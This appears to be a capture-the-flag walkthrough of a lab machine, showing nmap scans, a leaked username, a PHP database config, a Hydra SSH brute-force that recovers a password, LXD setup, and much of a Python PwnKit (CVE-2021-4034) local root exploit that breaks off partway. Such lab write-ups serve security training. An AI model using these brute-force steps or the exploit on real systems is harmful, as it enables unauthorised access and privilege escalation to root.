┌──(root㉿kakeru)-[~/tmp] └─# nmap -A 192.168.179.164 Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-1117:01 CST Nmap scan report for 192.168.179.164 (192.168.179.164) Host is up (0.0030s latency). Not shown:998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp filtered ssh 80/tcp open http Apache httpd 2.4.46 ((Ubuntu)) |_http-title: Kryptos - LAN Home |_http-server-header: Apache/2.4.46 (Ubuntu) | http-robots.txt:1 disallowed entry |_/config MAC Address:2A:A3:5A:42:17:24 (Unknown) Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15-5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2-7.5 (Linux 5.6.3) Network Distance:1 hop
TRACEROUTE HOP RTT ADDRESS 12.98 ms 192.168.179.164 (192.168.179.164)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done:1 IP address (1 host up) scanned in8.08 seconds
</div> <!-- "Please, jubiscleudo, don't forget to activate the port knocking when exiting your section, and tell the boss not to forget to approve the .jpg file - dev_suport@hackable3.com" --> <scriptsrc="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script> <scriptsrc="js/script.js"></script> </body> </html>
<?php /* Database credentials. Assuming you are running MySQL server with default setting (user 'root' with no password) */ define('DB_SERVER', 'localhost'); define('DB_USERNAME', 'root'); define('DB_PASSWORD', ''); define('DB_NAME', 'hackable'); /* Attempt to connect to MySQL database */ $conexao = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
// Check connection if($conexao === false){ die("ERROR: Could not connect. " . mysqli_connect_error()); } else { } ?>
┌──(root㉿kakeru)-[~/tmp] └─# dirsearch -u 192.168.179.164 /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
┌──(root㉿kakeru)-[~/tmp] └─# nmap 192.168.179.164 Starting Nmap 7.95 ( https://nmap.org ) at2025-02-1119:04 CST Nmap scan report for192.168.179.164 (192.168.179.164) Host is up (0.00040s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp openhttp MAC Address: 2A:A3:5A:42:17:24 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in0.29seconds
接下来就是用刚才得到的用户名和wordlist爆破ssh了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(root㉿kakeru)-[~/tmp] └─# hydra -l jubiscleudo -P pass.txt ssh://192.168.179.164 Hydra v9.5 (c) 2023by van Hauser/THC & David Maciejak - Please donot use in military or secret service organizations, orfor illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-1119:07:33 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1server, overall 16 tasks, 300login tries (l:1/p:300), ~19 tries per task [DATA] attacking ssh://192.168.179.164:22/ [22][ssh] host: 192.168.179.164login: jubiscleudo password: onlymy [STATUS] 300.00 tries/min, 300 tries in00:01h, 5todoin00:01h, 7 active 1of1 target successfully completed, 1validpasswordfound [WARNING] Writing restore file because 5 final worker threads did not complete untilend. [ERROR] 5 targets did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-1119:08:36
hackable_3@ubuntu20:~$ ls alpine-v3.13-x86_64-20210218_0139.tar.gz snap hackable_3@ubuntu20:~$ lxd init Would you liketo use LXD clustering? (yes/no) [default=no]: Do you want to configure a new storage pool? (yes/no) [default=yes]:
Name of the new storage pool [default=default]: Name of the storage backend to use (ceph, btrfs, dir, lvm) [default=btrfs]: Create a new BTRFS pool? (yes/no) [default=yes]: Would you liketo use an existing empty block device (e.g. a disk orpartition)? (yes/no) [default=no]: Size in GB of the new loop device (1GB minimum) [default=5GB]: Would you liketoconnectto a MAAS server? (yes/no) [default=no]: Would you liketocreate a newlocal network bridge? (yes/no) [default=yes]: What should the new bridge be called? [default=lxdbr0]: What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: Would you like the LXD server to be available over the network? (yes/no) [default=no]: Would you like stale cached images to be updated automatically? (yes/no) [default=yes] Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
# CVE-2021-4034 in Python # # Joe Ammond (joe@ammond.org) # # This was just an experiment to see whether I could get this to work # in Python, and to play around with ctypes
# This was completely cribbed from blasty's original C code: # https://haxx.in/files/blasty-vs-pkexec.c
import base64 import os import sys
from ctypes import * from ctypes.util import find_library
# Payload, base64 encoded ELF shared object. Generate with: # # msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64 # # The PrependSetuid=true is important, without it you'll just get # a shell as the user and not root. # # Should work with any msfvenom payload, tested with linux/x64/exec # and linux/x64/shell_reverse_tcp
# Set the environment for the call to execve() environ = [ b'exploit', b'PATH=GCONV_PATH=.', b'LC_MESSAGES=en_US.UTF-8', b'XAUTHORITY=../LOL', None ]
# Find the C library to call execve() directly, as Python helpfully doesn't # allow us to call execve() with no arguments. try: libc = CDLL(find_library('c')) except: print('[!] Unable to find the C library, wtf?') sys.exit()
# Create the shared library from the payload print('[+] Creating shared library for exploit code.') try: with open('payload.so', 'wb') as f: f.write(payload) except: print('[!] Failed creating payload.so.') sys.exit() os.chmod('payload.so', 0o0755)
# make the GCONV_PATH directory try: os.mkdir('GCONV_PATH=.') except FileExistsError: print('[-] GCONV_PATH=. directory already exists, continuing.') except: print('[!] Failed making GCONV_PATH=. directory.') sys.exit()
# Create a temp exploit file try: with open('GCONV_PATH=./exploit', 'wb') as f: f.write(b'') except: print('[!] Failed creating exploit file') sys.exit() os.chmod('GCONV_PATH=./exploit', 0o0755)
# Create directory to hold gconf-modules configuration file try: os.mkdir('exploit') except FileExistsError: print('[-] exploit directory already exists, continuing.') except: print('[!] Failed making exploit directory.') sys.exit()
# Create gconf config file try: with open('exploit/gconv-modules', 'wb') as f: f.write(b'module UTF-8// INTERNAL ../payload 2\n'); except: print('[!] Failed to create gconf-modules config file.') sys.exit()
# Convert the environment to an array of char* environ_p = (c_char_p * len(environ))() environ_p[:] = environ
